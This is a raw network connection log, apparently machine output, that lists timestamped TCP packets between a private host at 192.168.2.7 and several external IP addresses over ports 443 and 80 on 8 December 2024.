Dec 8, 2024 00:48:23.042407036 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.042421103 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.042427063 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.043303013 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.043371916 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.043421030 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.043637991 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.043642998 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.043651104 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.043653965 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.044209957 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.044270992 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.044315100 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045113087 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045140982 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.045150995 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.045202017 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045213938 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.045255899 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045943022 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045948029 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.045957088 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.045960903 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.046590090 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.046617985 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.046700954 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.046719074 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.046734095 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.046871901 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.046878099 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.046885967 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.046890974 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.047117949 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.047130108 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.047904015 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.047930002 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.047985077 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.048096895 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.048113108 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.048394918 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.048403978 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.048470020 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.048603058 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.048612118 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.049047947 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.049057007 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.049113989 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.049209118 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.049221039 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.158164978 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:23.158231974 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:23.158407927 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:23.158478975 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:23.160554886 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:23.160573006 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:23.160900116 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:23.160934925 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:23.161808014 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:23.161871910 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:23.175107002 CET	49700	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:23.175542116 CET	49744	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:23.175575018 CET	443	49744	104.98.116.138	192.168.2.7
Dec 8, 2024 00:48:23.175638914 CET	49744	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:23.176055908 CET	49744	443	192.168.2.7	104.98.116.138
Dec 8, 2024 00:48:23.176065922 CET	443	49744	104.98.116.138	192.168.2.7
Dec 8, 2024 00:48:23.202171087 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:23.280381918 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:23.294610977 CET	443	49700	104.98.116.138	192.168.2.7
Dec 8, 2024 00:48:23.776365042 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:23.776428938 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:23.779900074 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:23.779920101 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:23.780164003 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:23.824413061 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:23.867345095 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.738708019 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:24.738810062 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:24.740361929 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:24.740367889 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:24.740595102 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:24.793184042 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:24.869816065 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.869885921 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.869966030 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.870053053 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.870053053 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.870075941 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.870088100 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.894871950 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895070076 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895332098 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.895354986 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895587921 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895642996 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.895654917 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895661116 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895718098 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895940065 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.895942926 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.895946980 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.895950079 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.896204948 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.896218061 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.896251917 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.896260023 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.896697044 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.896712065 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.896717072 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.896734953 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.896786928 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.896794081 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.897218943 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:24.897231102 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:24.907331944 CET	49745	443	192.168.2.7	142.250.181.142
Dec 8, 2024 00:48:24.907360077 CET	443	49745	142.250.181.142	192.168.2.7
Dec 8, 2024 00:48:24.907614946 CET	49745	443	192.168.2.7	142.250.181.142
Dec 8, 2024 00:48:24.907659054 CET	49745	443	192.168.2.7	142.250.181.142
Dec 8, 2024 00:48:24.907664061 CET	443	49745	142.250.181.142	192.168.2.7
Dec 8, 2024 00:48:24.919207096 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.919245005 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.919359922 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.919600010 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:24.919612885 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:24.998258114 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:24.998356104 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:25.091200113 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:25.117638111 CET	49745	443	192.168.2.7	142.250.181.142
Dec 8, 2024 00:48:25.117748976 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:25.210757971 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:25.328413963 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328469038 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328520060 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.328522921 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328589916 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328648090 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.328907013 CET	49740	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.328919888 CET	443	49740	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328963041 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.328979015 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.328991890 CET	49743	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.328999043 CET	443	49743	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.329720974 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.329787970 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.329963923 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.331043959 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.331099033 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.331151962 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.331510067 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.331510067 CET	49741	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.331516981 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.331526995 CET	443	49741	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.334501028 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.334523916 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.334652901 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.334866047 CET	49739	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.334897041 CET	443	49739	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.336813927 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.336826086 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.338490009 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.338505983 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.338562012 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.338578939 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.338610888 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.338696957 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.339365005 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.339375019 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.340779066 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.340796947 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.340887070 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.341073990 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.341089964 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.341099024 CET	49742	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.341103077 CET	443	49742	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.343278885 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.343291998 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.343971968 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.343995094 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.344141960 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.346865892 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.346879959 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.346986055 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.347152948 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.347163916 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:25.347340107 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:25.347353935 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:26.032804012 CET	80	49738	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:26.032864094 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:26.295943022 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.296022892 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.297270060 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.297281981 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.297497034 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.298640013 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.343326092 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.488029003 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:26.535320997 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:26.812768936 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.812823057 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.813010931 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.838912010 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.838937044 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:26.838948965 CET	49747	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:26.838956118 CET	443	49747	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:27.028677940 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028700113 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028707981 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028744936 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028753042 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028758049 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028774977 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.028790951 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.028824091 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.028846979 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.054104090 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.055207014 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.055264950 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.055289030 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.055331945 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.062552929 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.072815895 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.075568914 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.075700045 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.096049070 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.096831083 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.096853971 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.096864939 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:27.096870899 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:27.098293066 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.098304987 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.099828005 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.099836111 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.100131035 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.100136042 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.100545883 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.100553989 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.102348089 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.102356911 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.103048086 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.103051901 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.103569984 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.103578091 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.104195118 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.104198933 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.104638100 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.104646921 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.105060101 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.105063915 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.487756968 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.487811089 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.487919092 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.496527910 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.496579885 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.496625900 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.506849051 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.506905079 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.506975889 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.509803057 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.509856939 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.509908915 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.510620117 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.510674953 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.510807037 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.524957895 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.524957895 CET	49750	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.524972916 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.524981976 CET	443	49750	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.542547941 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.542561054 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.542570114 CET	49754	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.542574883 CET	443	49754	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.548422098 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.548423052 CET	49751	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.548439026 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.548449039 CET	443	49751	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.557491064 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.557498932 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.557506084 CET	49752	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.557509899 CET	443	49752	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.558165073 CET	49753	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.558176041 CET	443	49753	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.569156885 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.569191933 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.569214106 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.569242954 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.569262981 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.569324970 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.570303917 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.570314884 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.570543051 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.570972919 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.570980072 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.571063042 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.572674990 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.572693110 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.572772026 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.572782993 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.572875023 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.572886944 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.573380947 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.573390007 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.574492931 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.574539900 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:27.574640036 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.574975967 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:27.574990034 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.291054010 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.291327000 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.291651964 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.291661024 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.291820049 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.291845083 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.291862965 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.292340994 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.292341948 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.292344093 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.292370081 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.293009043 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.293015957 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.293457031 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.293459892 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.293632030 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.293637991 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.293992043 CET	49759	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.293998957 CET	443	49759	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.294075012 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.294084072 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.294228077 CET	49757	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.294233084 CET	443	49757	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.294528961 CET	49756	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.294533968 CET	443	49756	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.724626064 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.724692106 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.724848032 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.724863052 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.724900961 CET	443	49758	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.725068092 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.725080967 CET	443	49760	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:29.725089073 CET	49758	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.725095034 CET	49760	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:29.725100040 CET	443	49760	13.107.246.63	192.168.2.7
